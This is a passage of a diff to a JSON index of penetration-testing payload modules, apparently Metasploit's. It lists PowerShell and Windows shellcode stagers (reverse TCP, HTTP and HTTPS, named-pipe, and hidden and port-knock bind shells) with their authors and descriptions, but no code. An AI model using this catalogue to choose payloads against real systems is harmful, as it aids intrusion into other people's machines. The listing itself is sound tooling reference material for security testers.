|
||||
"check": false,
|
||||
"post_auth": false,
|
||||
"default_credential": false,
|
||||
"notes": {
|
||||
},
|
||||
"session_types": false,
|
||||
"needs_cleanup": false
|
||||
},
|
||||
"payload_cmd/windows/powershell/x64/custom/bind_tcp": {
|
||||
"name": "Powershell Exec, Windows shellcode stage, Windows x64 Bind TCP Stager",
|
||||
"fullname": "payload/cmd/windows/powershell/x64/custom/bind_tcp",
|
||||
"aliases": [
|
||||
|
||||
],
|
||||
"rank": 300,
|
||||
"disclosure_date": null,
|
||||
"type": "payload",
|
||||
"author": [
|
||||
"Spencer McIntyre",
|
||||
"bwatters-r7",
|
||||
"sf <stephen_fewer@harmonysecurity.com>"
|
||||
],
|
||||
"description": "Execute an x64 payload from a command via PowerShell. Custom shellcode stage. Listen for a connection (Windows x64)",
|
||||
"references": [
|
||||
|
||||
],
|
||||
"platform": "Windows",
|
||||
"arch": "cmd",
|
||||
"rport": null,
|
||||
"autofilter_ports": null,
|
||||
"autofilter_services": null,
|
||||
"targets": null,
|
||||
"mod_time": "2022-05-27 16:41:25 +0000",
|
||||
"path": "/modules/payloads/adapters/cmd/windows/powershell/x64.rb",
|
||||
"is_install_path": true,
|
||||
"ref_name": "cmd/windows/powershell/x64/custom/bind_tcp",
|
||||
"check": false,
|
||||
"post_auth": false,
|
||||
"default_credential": false,
|
||||
"notes": {
|
||||
},
|
||||
"session_types": false,
|
||||
"needs_cleanup": false
|
||||
},
|
||||
"payload_cmd/windows/powershell/x64/custom/bind_tcp_rc4": {
|
||||
"name": "Powershell Exec, Windows shellcode stage, Bind TCP Stager (RC4 Stage Encryption, Metasm)",
|
||||
"fullname": "payload/cmd/windows/powershell/x64/custom/bind_tcp_rc4",
|
||||
"aliases": [
|
||||
|
||||
],
|
||||
"rank": 300,
|
||||
"disclosure_date": null,
|
||||
"type": "payload",
|
||||
"author": [
|
||||
"Spencer McIntyre",
|
||||
"bwatters-r7",
|
||||
"hdm <x@hdm.io>",
|
||||
"skape <mmiller@hick.org>",
|
||||
"sf <stephen_fewer@harmonysecurity.com>",
|
||||
"mihi",
|
||||
"max3raza",
|
||||
"RageLtMan"
|
||||
],
|
||||
"description": "Execute an x64 payload from a command via PowerShell. Custom shellcode stage. Connect back to the attacker",
|
||||
"references": [
|
||||
|
||||
],
|
||||
"platform": "Windows",
|
||||
"arch": "cmd",
|
||||
"rport": null,
|
||||
"autofilter_ports": null,
|
||||
"autofilter_services": null,
|
||||
"targets": null,
|
||||
"mod_time": "2022-05-27 16:41:25 +0000",
|
||||
"path": "/modules/payloads/adapters/cmd/windows/powershell/x64.rb",
|
||||
"is_install_path": true,
|
||||
"ref_name": "cmd/windows/powershell/x64/custom/bind_tcp_rc4",
|
||||
"check": false,
|
||||
"post_auth": true,
|
||||
"default_credential": false,
|
||||
"notes": {
|
||||
},
|
||||
"session_types": false,
|
||||
"needs_cleanup": false
|
||||
},
|
||||
"payload_cmd/windows/powershell/x64/custom/bind_tcp_uuid": {
|
||||
"name": "Powershell Exec, Windows shellcode stage, Bind TCP Stager with UUID Support (Windows x64)",
|
||||
"fullname": "payload/cmd/windows/powershell/x64/custom/bind_tcp_uuid",
|
||||
"aliases": [
|
||||
|
||||
],
|
||||
"rank": 300,
|
||||
"disclosure_date": null,
|
||||
"type": "payload",
|
||||
"author": [
|
||||
"Spencer McIntyre",
|
||||
"bwatters-r7",
|
||||
"sf <stephen_fewer@harmonysecurity.com>",
|
||||
"OJ Reeves"
|
||||
],
|
||||
"description": "Execute an x64 payload from a command via PowerShell. Custom shellcode stage. Listen for a connection with UUID Support (Windows x64)",
|
||||
"references": [
|
||||
|
||||
],
|
||||
"platform": "Windows",
|
||||
"arch": "cmd",
|
||||
"rport": null,
|
||||
"autofilter_ports": null,
|
||||
"autofilter_services": null,
|
||||
"targets": null,
|
||||
"mod_time": "2022-05-27 16:41:25 +0000",
|
||||
"path": "/modules/payloads/adapters/cmd/windows/powershell/x64.rb",
|
||||
"is_install_path": true,
|
||||
"ref_name": "cmd/windows/powershell/x64/custom/bind_tcp_uuid",
|
||||
"check": false,
|
||||
"post_auth": false,
|
||||
"default_credential": false,
|
||||
"notes": {
|
||||
},
|
||||
"session_types": false,
|
||||
"needs_cleanup": false
|
||||
},
|
||||
"payload_cmd/windows/powershell/x64/custom/reverse_http": {
|
||||
"name": "Powershell Exec, Windows shellcode stage, Windows x64 Reverse HTTP Stager (wininet)",
|
||||
"fullname": "payload/cmd/windows/powershell/x64/custom/reverse_http",
|
||||
"aliases": [
|
||||
|
||||
],
|
||||
"rank": 300,
|
||||
"disclosure_date": null,
|
||||
"type": "payload",
|
||||
"author": [
|
||||
"Spencer McIntyre",
|
||||
"bwatters-r7",
|
||||
"OJ Reeves"
|
||||
],
|
||||
"description": "Execute an x64 payload from a command via PowerShell. Custom shellcode stage. Tunnel communication over HTTP (Windows x64 wininet)",
|
||||
"references": [
|
||||
|
||||
],
|
||||
"platform": "Windows",
|
||||
"arch": "cmd",
|
||||
"rport": null,
|
||||
"autofilter_ports": null,
|
||||
"autofilter_services": null,
|
||||
"targets": null,
|
||||
"mod_time": "2022-05-27 16:41:25 +0000",
|
||||
"path": "/modules/payloads/adapters/cmd/windows/powershell/x64.rb",
|
||||
"is_install_path": true,
|
||||
"ref_name": "cmd/windows/powershell/x64/custom/reverse_http",
|
||||
"check": false,
|
||||
"post_auth": false,
|
||||
"default_credential": false,
|
||||
"notes": {
|
||||
},
|
||||
"session_types": false,
|
||||
"needs_cleanup": false
|
||||
},
|
||||
"payload_cmd/windows/powershell/x64/custom/reverse_https": {
|
||||
"name": "Powershell Exec, Windows shellcode stage, Windows x64 Reverse HTTP Stager (wininet)",
|
||||
"fullname": "payload/cmd/windows/powershell/x64/custom/reverse_https",
|
||||
"aliases": [
|
||||
|
||||
],
|
||||
"rank": 300,
|
||||
"disclosure_date": null,
|
||||
"type": "payload",
|
||||
"author": [
|
||||
"Spencer McIntyre",
|
||||
"bwatters-r7",
|
||||
"hdm <x@hdm.io>",
|
||||
"agix",
|
||||
"rwincey"
|
||||
],
|
||||
"description": "Execute an x64 payload from a command via PowerShell. Custom shellcode stage. Tunnel communication over HTTP (Windows x64 wininet)",
|
||||
"references": [
|
||||
|
||||
],
|
||||
"platform": "Windows",
|
||||
"arch": "cmd",
|
||||
"rport": null,
|
||||
"autofilter_ports": null,
|
||||
"autofilter_services": null,
|
||||
"targets": null,
|
||||
"mod_time": "2022-05-27 16:41:25 +0000",
|
||||
"path": "/modules/payloads/adapters/cmd/windows/powershell/x64.rb",
|
||||
"is_install_path": true,
|
||||
"ref_name": "cmd/windows/powershell/x64/custom/reverse_https",
|
||||
"check": false,
|
||||
"post_auth": false,
|
||||
"default_credential": false,
|
||||
"notes": {
|
||||
},
|
||||
"session_types": false,
|
||||
"needs_cleanup": false
|
||||
},
|
||||
"payload_cmd/windows/powershell/x64/custom/reverse_named_pipe": {
|
||||
"name": "Powershell Exec, Windows shellcode stage, Windows x64 Reverse Named Pipe (SMB) Stager",
|
||||
"fullname": "payload/cmd/windows/powershell/x64/custom/reverse_named_pipe",
|
||||
"aliases": [
|
||||
|
||||
],
|
||||
"rank": 300,
|
||||
"disclosure_date": null,
|
||||
"type": "payload",
|
||||
"author": [
|
||||
"Spencer McIntyre",
|
||||
"bwatters-r7",
|
||||
"OJ Reeves"
|
||||
],
|
||||
"description": "Execute an x64 payload from a command via PowerShell. Custom shellcode stage. Connect back to the attacker via a named pipe pivot",
|
||||
"references": [
|
||||
|
||||
],
|
||||
"platform": "Windows",
|
||||
"arch": "cmd",
|
||||
"rport": null,
|
||||
"autofilter_ports": null,
|
||||
"autofilter_services": null,
|
||||
"targets": null,
|
||||
"mod_time": "2022-05-27 16:41:25 +0000",
|
||||
"path": "/modules/payloads/adapters/cmd/windows/powershell/x64.rb",
|
||||
"is_install_path": true,
|
||||
"ref_name": "cmd/windows/powershell/x64/custom/reverse_named_pipe",
|
||||
"check": false,
|
||||
"post_auth": false,
|
||||
"default_credential": false,
|
||||
"notes": {
|
||||
},
|
||||
"session_types": false,
|
||||
"needs_cleanup": false
|
||||
},
|
||||
"payload_cmd/windows/powershell/x64/custom/reverse_tcp": {
|
||||
"name": "Powershell Exec, Windows shellcode stage, Windows x64 Reverse TCP Stager",
|
||||
"fullname": "payload/cmd/windows/powershell/x64/custom/reverse_tcp",
|
||||
"aliases": [
|
||||
|
||||
],
|
||||
"rank": 300,
|
||||
"disclosure_date": null,
|
||||
"type": "payload",
|
||||
"author": [
|
||||
"Spencer McIntyre",
|
||||
"bwatters-r7",
|
||||
"sf <stephen_fewer@harmonysecurity.com>"
|
||||
],
|
||||
"description": "Execute an x64 payload from a command via PowerShell. Custom shellcode stage. Connect back to the attacker (Windows x64)",
|
||||
"references": [
|
||||
|
||||
],
|
||||
"platform": "Windows",
|
||||
"arch": "cmd",
|
||||
"rport": null,
|
||||
"autofilter_ports": null,
|
||||
"autofilter_services": null,
|
||||
"targets": null,
|
||||
"mod_time": "2022-05-27 16:41:25 +0000",
|
||||
"path": "/modules/payloads/adapters/cmd/windows/powershell/x64.rb",
|
||||
"is_install_path": true,
|
||||
"ref_name": "cmd/windows/powershell/x64/custom/reverse_tcp",
|
||||
"check": false,
|
||||
"post_auth": false,
|
||||
"default_credential": false,
|
||||
"notes": {
|
||||
},
|
||||
"session_types": false,
|
||||
"needs_cleanup": false
|
||||
},
|
||||
"payload_cmd/windows/powershell/x64/custom/reverse_tcp_rc4": {
|
||||
"name": "Powershell Exec, Windows shellcode stage, Reverse TCP Stager (RC4 Stage Encryption, Metasm)",
|
||||
"fullname": "payload/cmd/windows/powershell/x64/custom/reverse_tcp_rc4",
|
||||
"aliases": [
|
||||
|
||||
],
|
||||
"rank": 300,
|
||||
"disclosure_date": null,
|
||||
"type": "payload",
|
||||
"author": [
|
||||
"Spencer McIntyre",
|
||||
"bwatters-r7",
|
||||
"hdm <x@hdm.io>",
|
||||
"skape <mmiller@hick.org>",
|
||||
"sf <stephen_fewer@harmonysecurity.com>",
|
||||
"mihi",
|
||||
"max3raza",
|
||||
"RageLtMan"
|
||||
],
|
||||
"description": "Execute an x64 payload from a command via PowerShell. Custom shellcode stage. Connect back to the attacker",
|
||||
"references": [
|
||||
|
||||
],
|
||||
"platform": "Windows",
|
||||
"arch": "cmd",
|
||||
"rport": null,
|
||||
"autofilter_ports": null,
|
||||
"autofilter_services": null,
|
||||
"targets": null,
|
||||
"mod_time": "2022-05-27 16:41:25 +0000",
|
||||
"path": "/modules/payloads/adapters/cmd/windows/powershell/x64.rb",
|
||||
"is_install_path": true,
|
||||
"ref_name": "cmd/windows/powershell/x64/custom/reverse_tcp_rc4",
|
||||
"check": false,
|
||||
"post_auth": true,
|
||||
"default_credential": false,
|
||||
"notes": {
|
||||
},
|
||||
"session_types": false,
|
||||
"needs_cleanup": false
|
||||
},
|
||||
"payload_cmd/windows/powershell/x64/custom/reverse_tcp_uuid": {
|
||||
"name": "Powershell Exec, Windows shellcode stage, Reverse TCP Stager with UUID Support (Windows x64)",
|
||||
"fullname": "payload/cmd/windows/powershell/x64/custom/reverse_tcp_uuid",
|
||||
"aliases": [
|
||||
|
||||
],
|
||||
"rank": 300,
|
||||
"disclosure_date": null,
|
||||
"type": "payload",
|
||||
"author": [
|
||||
"Spencer McIntyre",
|
||||
"bwatters-r7",
|
||||
"sf <stephen_fewer@harmonysecurity.com>",
|
||||
"OJ Reeves"
|
||||
],
|
||||
"description": "Execute an x64 payload from a command via PowerShell. Custom shellcode stage. Connect back to the attacker with UUID Support (Windows x64)",
|
||||
"references": [
|
||||
|
||||
],
|
||||
"platform": "Windows",
|
||||
"arch": "cmd",
|
||||
"rport": null,
|
||||
"autofilter_ports": null,
|
||||
"autofilter_services": null,
|
||||
"targets": null,
|
||||
"mod_time": "2022-05-27 16:41:25 +0000",
|
||||
"path": "/modules/payloads/adapters/cmd/windows/powershell/x64.rb",
|
||||
"is_install_path": true,
|
||||
"ref_name": "cmd/windows/powershell/x64/custom/reverse_tcp_uuid",
|
||||
"check": false,
|
||||
"post_auth": false,
|
||||
"default_credential": false,
|
||||
"notes": {
|
||||
},
|
||||
"session_types": false,
|
||||
"needs_cleanup": false
|
||||
},
|
||||
"payload_cmd/windows/powershell/x64/custom/reverse_winhttp": {
|
||||
"name": "Powershell Exec, Windows shellcode stage, Windows x64 Reverse HTTP Stager (winhttp)",
|
||||
"fullname": "payload/cmd/windows/powershell/x64/custom/reverse_winhttp",
|
||||
"aliases": [
|
||||
|
||||
],
|
||||
"rank": 300,
|
||||
"disclosure_date": null,
|
||||
"type": "payload",
|
||||
"author": [
|
||||
"Spencer McIntyre",
|
||||
"bwatters-r7",
|
||||
"OJ Reeves"
|
||||
],
|
||||
"description": "Execute an x64 payload from a command via PowerShell. Custom shellcode stage. Tunnel communication over HTTP (Windows x64 winhttp)",
|
||||
"references": [
|
||||
|
||||
],
|
||||
"platform": "Windows",
|
||||
"arch": "cmd",
|
||||
"rport": null,
|
||||
"autofilter_ports": null,
|
||||
"autofilter_services": null,
|
||||
"targets": null,
|
||||
"mod_time": "2022-05-27 16:41:25 +0000",
|
||||
"path": "/modules/payloads/adapters/cmd/windows/powershell/x64.rb",
|
||||
"is_install_path": true,
|
||||
"ref_name": "cmd/windows/powershell/x64/custom/reverse_winhttp",
|
||||
"check": false,
|
||||
"post_auth": false,
|
||||
"default_credential": false,
|
||||
"notes": {
|
||||
},
|
||||
"session_types": false,
|
||||
"needs_cleanup": false
|
||||
},
|
||||
"payload_cmd/windows/powershell/x64/custom/reverse_winhttps": {
|
||||
"name": "Powershell Exec, Windows shellcode stage, Windows x64 Reverse HTTPS Stager (winhttp)",
|
||||
"fullname": "payload/cmd/windows/powershell/x64/custom/reverse_winhttps",
|
||||
"aliases": [
|
||||
|
||||
],
|
||||
"rank": 300,
|
||||
"disclosure_date": null,
|
||||
"type": "payload",
|
||||
"author": [
|
||||
"Spencer McIntyre",
|
||||
"bwatters-r7",
|
||||
"OJ Reeves"
|
||||
],
|
||||
"description": "Execute an x64 payload from a command via PowerShell. Custom shellcode stage. Tunnel communication over HTTPS (Windows x64 winhttp)",
|
||||
"references": [
|
||||
|
||||
],
|
||||
"platform": "Windows",
|
||||
"arch": "cmd",
|
||||
"rport": null,
|
||||
"autofilter_ports": null,
|
||||
"autofilter_services": null,
|
||||
"targets": null,
|
||||
"mod_time": "2022-05-27 16:41:25 +0000",
|
||||
"path": "/modules/payloads/adapters/cmd/windows/powershell/x64.rb",
|
||||
"is_install_path": true,
|
||||
"ref_name": "cmd/windows/powershell/x64/custom/reverse_winhttps",
|
||||
"check": false,
|
||||
"post_auth": false,
|
||||
"default_credential": false,
|
||||
"notes": {
|
||||
},
|
||||
"session_types": false,
|
||||
"needs_cleanup": false
|
||||
},
|
||||
"payload_cmd/windows/powershell/x64/encrypted_shell/reverse_tcp": {
|
||||
"name": "Powershell Exec, Windows Command Shell, Encrypted Reverse TCP Stager",
|
||||
"fullname": "payload/cmd/windows/powershell/x64/encrypted_shell/reverse_tcp",
|
||||
@@ -188721,6 +191611,1028 @@
|
||||
"session_types": false,
|
||||
"needs_cleanup": false
|
||||
},
|
||||
"payload_windows/custom/bind_hidden_ipknock_tcp": {
|
||||
"name": "Windows shellcode stage, Hidden Bind Ipknock TCP Stager",
|
||||
"fullname": "payload/windows/custom/bind_hidden_ipknock_tcp",
|
||||
"aliases": [
|
||||
|
||||
],
|
||||
"rank": 300,
|
||||
"disclosure_date": null,
|
||||
"type": "payload",
|
||||
"author": [
|
||||
"bwatters-r7",
|
||||
"hdm <x@hdm.io>",
|
||||
"skape <mmiller@hick.org>",
|
||||
"sf <stephen_fewer@harmonysecurity.com>",
|
||||
"Borja Merino <bmerinofe@gmail.com>"
|
||||
],
|
||||
"description": "Custom shellcode stage. Listen for a connection. First, the port will need to be knocked from\n the IP defined in KHOST. This IP will work as an authentication method\n (you can spoof it with tools like hping). After that you could get your\n shellcode from any IP. The socket will appear as \"closed,\" thus helping to\n hide the shellcode",
|
||||
"references": [
|
||||
|
||||
],
|
||||
"platform": "Windows",
|
||||
"arch": "x86",
|
||||
"rport": null,
|
||||
"autofilter_ports": null,
|
||||
"autofilter_services": null,
|
||||
"targets": null,
|
||||
"mod_time": "2020-09-22 02:56:51 +0000",
|
||||
"path": "/modules/payloads/stagers/windows/bind_hidden_ipknock_tcp.rb",
|
||||
"is_install_path": true,
|
||||
"ref_name": "windows/custom/bind_hidden_ipknock_tcp",
|
||||
"check": false,
|
||||
"post_auth": false,
|
||||
"default_credential": false,
|
||||
"notes": {
|
||||
},
|
||||
"session_types": false,
|
||||
"needs_cleanup": false
|
||||
},
|
||||
"payload_windows/custom/bind_hidden_tcp": {
|
||||
"name": "Windows shellcode stage, Hidden Bind TCP Stager",
|
||||
"fullname": "payload/windows/custom/bind_hidden_tcp",
|
||||
"aliases": [
|
||||
|
||||
],
|
||||
"rank": 300,
|
||||
"disclosure_date": null,
|
||||
"type": "payload",
|
||||
"author": [
|
||||
"bwatters-r7",
|
||||
"hdm <x@hdm.io>",
|
||||
"skape <mmiller@hick.org>",
|
||||
"sf <stephen_fewer@harmonysecurity.com>",
|
||||
"Borja Merino <bmerinofe@gmail.com>"
|
||||
],
|
||||
"description": "Custom shellcode stage. Listen for a connection from a hidden port and spawn a command shell to the allowed host.",
|
||||
"references": [
|
||||
|
||||
],
|
||||
"platform": "Windows",
|
||||
"arch": "x86",
|
||||
"rport": null,
|
||||
"autofilter_ports": null,
|
||||
"autofilter_services": null,
|
||||
"targets": null,
|
||||
"mod_time": "2020-09-22 02:56:51 +0000",
|
||||
"path": "/modules/payloads/stagers/windows/bind_hidden_tcp.rb",
|
||||
"is_install_path": true,
|
||||
"ref_name": "windows/custom/bind_hidden_tcp",
|
||||
"check": false,
|
||||
"post_auth": false,
|
||||
"default_credential": false,
|
||||
"notes": {
|
||||
},
|
||||
"session_types": false,
|
||||
"needs_cleanup": false
|
||||
},
|
||||
"payload_windows/custom/bind_ipv6_tcp": {
|
||||
"name": "Windows shellcode stage, Bind IPv6 TCP Stager (Windows x86)",
|
||||
"fullname": "payload/windows/custom/bind_ipv6_tcp",
|
||||
"aliases": [
|
||||
|
||||
],
|
||||
"rank": 300,
|
||||
"disclosure_date": null,
|
||||
"type": "payload",
|
||||
"author": [
|
||||
"bwatters-r7",
|
||||
"hdm <x@hdm.io>",
|
||||
"skape <mmiller@hick.org>",
|
||||
"sf <stephen_fewer@harmonysecurity.com>"
|
||||
],
|
||||
"description": "Custom shellcode stage. Listen for an IPv6 connection (Windows x86)",
|
||||
"references": [
|
||||
|
||||
],
|
||||
"platform": "Windows",
|
||||
"arch": "x86",
|
||||
"rport": null,
|
||||
"autofilter_ports": null,
|
||||
"autofilter_services": null,
|
||||
"targets": null,
|
||||
"mod_time": "2020-09-22 02:56:51 +0000",
|
||||
"path": "/modules/payloads/stagers/windows/bind_ipv6_tcp.rb",
|
||||
"is_install_path": true,
|
||||
"ref_name": "windows/custom/bind_ipv6_tcp",
|
||||
"check": false,
|
||||
"post_auth": false,
|
||||
"default_credential": false,
|
||||
"notes": {
|
||||
},
|
||||
"session_types": false,
|
||||
"needs_cleanup": false
|
||||
},
|
||||
"payload_windows/custom/bind_ipv6_tcp_uuid": {
|
||||
"name": "Windows shellcode stage, Bind IPv6 TCP Stager with UUID Support (Windows x86)",
|
||||
"fullname": "payload/windows/custom/bind_ipv6_tcp_uuid",
|
||||
"aliases": [
|
||||
|
||||
],
|
||||
"rank": 300,
|
||||
"disclosure_date": null,
|
||||
"type": "payload",
|
||||
"author": [
|
||||
"bwatters-r7",
|
||||
"hdm <x@hdm.io>",
|
||||
"skape <mmiller@hick.org>",
|
||||
"sf <stephen_fewer@harmonysecurity.com>",
|
||||
"OJ Reeves"
|
||||
],
|
||||
"description": "Custom shellcode stage. Listen for an IPv6 connection with UUID Support (Windows x86)",
|
||||
"references": [
|
||||
|
||||
],
|
||||
"platform": "Windows",
|
||||
"arch": "x86",
|
||||
"rport": null,
|
||||
"autofilter_ports": null,
|
||||
"autofilter_services": null,
|
||||
"targets": null,
|
||||
"mod_time": "2020-09-22 02:56:51 +0000",
|
||||
"path": "/modules/payloads/stagers/windows/bind_ipv6_tcp_uuid.rb",
|
||||
"is_install_path": true,
|
||||
"ref_name": "windows/custom/bind_ipv6_tcp_uuid",
|
||||
"check": false,
|
||||
"post_auth": false,
|
||||
"default_credential": false,
|
||||
"notes": {
|
||||
},
|
||||
"session_types": false,
|
||||
"needs_cleanup": false
|
||||
},
|
||||
"payload_windows/custom/bind_named_pipe": {
|
||||
"name": "Windows shellcode stage, Windows x86 Bind Named Pipe Stager",
|
||||
"fullname": "payload/windows/custom/bind_named_pipe",
|
||||
"aliases": [
|
||||
|
||||
],
|
||||
"rank": 300,
|
||||
"disclosure_date": null,
|
||||
"type": "payload",
|
||||
"author": [
|
||||
"bwatters-r7",
|
||||
"UserExistsError"
|
||||
],
|
||||
"description": "Custom shellcode stage. Listen for a pipe connection (Windows x86)",
|
||||
"references": [
|
||||
|
||||
],
|
||||
"platform": "Windows",
|
||||
"arch": "x86",
|
||||
"rport": null,
|
||||
"autofilter_ports": null,
|
||||
"autofilter_services": null,
|
||||
"targets": null,
|
||||
"mod_time": "2020-09-22 02:56:51 +0000",
|
||||
"path": "/modules/payloads/stagers/windows/bind_named_pipe.rb",
|
||||
"is_install_path": true,
|
||||
"ref_name": "windows/custom/bind_named_pipe",
|
||||
"check": false,
|
||||
"post_auth": false,
|
||||
"default_credential": false,
|
||||
"notes": {
|
||||
},
|
||||
"session_types": false,
|
||||
"needs_cleanup": false
|
||||
},
|
||||
"payload_windows/custom/bind_nonx_tcp": {
|
||||
"name": "Windows shellcode stage, Bind TCP Stager (No NX or Win7)",
|
||||
"fullname": "payload/windows/custom/bind_nonx_tcp",
|
||||
"aliases": [
|
||||
|
||||
],
|
||||
"rank": 300,
|
||||
"disclosure_date": null,
|
||||
"type": "payload",
|
||||
"author": [
|
||||
"bwatters-r7",
|
||||
"vlad902 <vlad902@gmail.com>"
|
||||
],
|
||||
"description": "Custom shellcode stage. Listen for a connection (No NX)",
|
||||
"references": [
|
||||
|
||||
],
|
||||
"platform": "Windows",
|
||||
"arch": "x86",
|
||||
"rport": null,
|
||||
"autofilter_ports": null,
|
||||
"autofilter_services": null,
|
||||
"targets": null,
|
||||
"mod_time": "2020-09-22 02:56:51 +0000",
|
||||
"path": "/modules/payloads/stagers/windows/bind_nonx_tcp.rb",
|
||||
"is_install_path": true,
|
||||
"ref_name": "windows/custom/bind_nonx_tcp",
|
||||
"check": false,
|
||||
"post_auth": false,
|
||||
"default_credential": false,
|
||||
"notes": {
|
||||
},
|
||||
"session_types": false,
|
||||
"needs_cleanup": false
|
||||
},
|
||||
"payload_windows/custom/bind_tcp": {
|
||||
"name": "Windows shellcode stage, Bind TCP Stager (Windows x86)",
|
||||
"fullname": "payload/windows/custom/bind_tcp",
|
||||
"aliases": [
|
||||
|
||||
],
|
||||
"rank": 300,
|
||||
"disclosure_date": null,
|
||||
"type": "payload",
|
||||
"author": [
|
||||
"bwatters-r7",
|
||||
"hdm <x@hdm.io>",
|
||||
"skape <mmiller@hick.org>",
|
||||
"sf <stephen_fewer@harmonysecurity.com>"
|
||||
],
|
||||
"description": "Custom shellcode stage. Listen for a connection (Windows x86)",
|
||||
"references": [
|
||||
|
||||
],
|
||||
"platform": "Windows",
|
||||
"arch": "x86",
|
||||
"rport": null,
|
||||
"autofilter_ports": null,
|
||||
"autofilter_services": null,
|
||||
"targets": null,
|
||||
"mod_time": "2020-09-22 02:56:51 +0000",
|
||||
"path": "/modules/payloads/stagers/windows/bind_tcp.rb",
|
||||
"is_install_path": true,
|
||||
"ref_name": "windows/custom/bind_tcp",
|
||||
"check": false,
|
||||
"post_auth": false,
|
||||
"default_credential": false,
|
||||
"notes": {
|
||||
},
|
||||
"session_types": false,
|
||||
"needs_cleanup": false
|
||||
},
|
||||
"payload_windows/custom/bind_tcp_rc4": {
|
||||
"name": "Windows shellcode stage, Bind TCP Stager (RC4 Stage Encryption, Metasm)",
|
||||
"fullname": "payload/windows/custom/bind_tcp_rc4",
|
||||
"aliases": [
|
||||
|
||||
],
|
||||
"rank": 300,
|
||||
"disclosure_date": null,
|
||||
"type": "payload",
|
||||
"author": [
|
||||
"bwatters-r7",
|
||||
"hdm <x@hdm.io>",
|
||||
"skape <mmiller@hick.org>",
|
||||
"sf <stephen_fewer@harmonysecurity.com>",
|
||||
"mihi",
|
||||
"RageLtMan"
|
||||
],
|
||||
"description": "Custom shellcode stage. Listen for a connection",
|
||||
"references": [
|
||||
|
||||
],
|
||||
"platform": "Windows",
|
||||
"arch": "x86",
|
||||
"rport": null,
|
||||
"autofilter_ports": null,
|
||||
"autofilter_services": null,
|
||||
"targets": null,
|
||||
"mod_time": "2020-09-22 02:56:51 +0000",
|
||||
"path": "/modules/payloads/stagers/windows/bind_tcp_rc4.rb",
|
||||
"is_install_path": true,
|
||||
"ref_name": "windows/custom/bind_tcp_rc4",
|
||||
"check": false,
|
||||
"post_auth": true,
|
||||
"default_credential": false,
|
||||
"notes": {
|
||||
},
|
||||
"session_types": false,
|
||||
"needs_cleanup": false
|
||||
},
|
||||
"payload_windows/custom/bind_tcp_uuid": {
|
||||
"name": "Windows shellcode stage, Bind TCP Stager with UUID Support (Windows x86)",
|
||||
"fullname": "payload/windows/custom/bind_tcp_uuid",
|
||||
"aliases": [
|
||||
|
||||
],
|
||||
"rank": 300,
|
||||
"disclosure_date": null,
|
||||
"type": "payload",
|
||||
"author": [
|
||||
"bwatters-r7",
|
||||
"hdm <x@hdm.io>",
|
||||
"OJ Reeves"
|
||||
],
|
||||
"description": "Custom shellcode stage. Listen for a connection with UUID Support (Windows x86)",
|
||||
"references": [
|
||||
|
||||
],
|
||||
"platform": "Windows",
|
||||
"arch": "x86",
|
||||
"rport": null,
|
||||
"autofilter_ports": null,
|
||||
"autofilter_services": null,
|
||||
"targets": null,
|
||||
"mod_time": "2020-09-22 02:56:51 +0000",
|
||||
"path": "/modules/payloads/stagers/windows/bind_tcp_uuid.rb",
|
||||
"is_install_path": true,
|
||||
"ref_name": "windows/custom/bind_tcp_uuid",
|
||||
"check": false,
|
||||
"post_auth": false,
|
||||
"default_credential": false,
|
||||
"notes": {
|
||||
},
|
||||
"session_types": false,
|
||||
"needs_cleanup": false
|
||||
},
|
||||
"payload_windows/custom/find_tag": {
|
||||
"name": "Windows shellcode stage, Find Tag Ordinal Stager",
|
||||
"fullname": "payload/windows/custom/find_tag",
|
||||
"aliases": [
|
||||
|
||||
],
|
||||
"rank": 300,
|
||||
"disclosure_date": null,
|
||||
"type": "payload",
|
||||
"author": [
|
||||
"bwatters-r7",
|
||||
"skape <mmiller@hick.org>"
|
||||
],
|
||||
"description": "Custom shellcode stage. Use an established connection",
|
||||
"references": [
|
||||
|
||||
],
|
||||
"platform": "Windows",
|
||||
"arch": "x86",
|
||||
"rport": null,
|
||||
"autofilter_ports": null,
|
||||
"autofilter_services": null,
|
||||
"targets": null,
|
||||
"mod_time": "2020-09-22 02:56:51 +0000",
|
||||
"path": "/modules/payloads/stagers/windows/findtag_ord.rb",
|
||||
"is_install_path": true,
|
||||
"ref_name": "windows/custom/find_tag",
|
||||
"check": false,
|
||||
"post_auth": false,
|
||||
"default_credential": false,
|
||||
"notes": {
|
||||
},
|
||||
"session_types": false,
|
||||
"needs_cleanup": false
|
||||
},
|
||||
"payload_windows/custom/reverse_hop_http": {
|
||||
"name": "Windows shellcode stage, Reverse Hop HTTP/HTTPS Stager",
|
||||
"fullname": "payload/windows/custom/reverse_hop_http",
|
||||
"aliases": [
|
||||
|
||||
],
|
||||
"rank": 300,
|
||||
"disclosure_date": null,
|
||||
"type": "payload",
|
||||
"author": [
|
||||
"bwatters-r7",
|
||||
"scriptjunkie <scriptjunkie@scriptjunkie.us>",
|
||||
"bannedit <bannedit@metasploit.com>",
|
||||
"hdm <x@hdm.io>"
|
||||
],
|
||||
"description": "Custom shellcode stage. \n Tunnel communication over an HTTP or HTTPS hop point. Note that you must first upload\n data/hop/hop.php to the PHP server you wish to use as a hop.",
|
||||
"references": [
|
||||
|
||||
],
|
||||
"platform": "Windows",
|
||||
"arch": "x86",
|
||||
"rport": null,
|
||||
"autofilter_ports": null,
|
||||
"autofilter_services": null,
|
||||
"targets": null,
|
||||
"mod_time": "2020-09-22 02:56:51 +0000",
|
||||
"path": "/modules/payloads/stagers/windows/reverse_hop_http.rb",
|
||||
"is_install_path": true,
|
||||
"ref_name": "windows/custom/reverse_hop_http",
|
||||
"check": false,
|
||||
"post_auth": false,
|
||||
"default_credential": false,
|
||||
"notes": {
|
||||
},
|
||||
"session_types": false,
|
||||
"needs_cleanup": false
|
||||
},
|
||||
"payload_windows/custom/reverse_http": {
|
||||
"name": "Windows shellcode stage, Windows Reverse HTTP Stager (wininet)",
|
||||
"fullname": "payload/windows/custom/reverse_http",
|
||||
"aliases": [
|
||||
|
||||
],
|
||||
"rank": 300,
|
||||
"disclosure_date": null,
|
||||
"type": "payload",
|
||||
"author": [
|
||||
"bwatters-r7",
|
||||
"hdm <x@hdm.io>"
|
||||
],
|
||||
"description": "Custom shellcode stage. Tunnel communication over HTTP (Windows wininet)",
|
||||
"references": [
|
||||
|
||||
],
|
||||
"platform": "Windows",
|
||||
"arch": "x86",
|
||||
"rport": null,
|
||||
"autofilter_ports": null,
|
||||
"autofilter_services": null,
|
||||
"targets": null,
|
||||
"mod_time": "2021-11-10 12:33:52 +0000",
|
||||
"path": "/modules/payloads/stagers/windows/reverse_http.rb",
|
||||
"is_install_path": true,
|
||||
"ref_name": "windows/custom/reverse_http",
|
||||
"check": false,
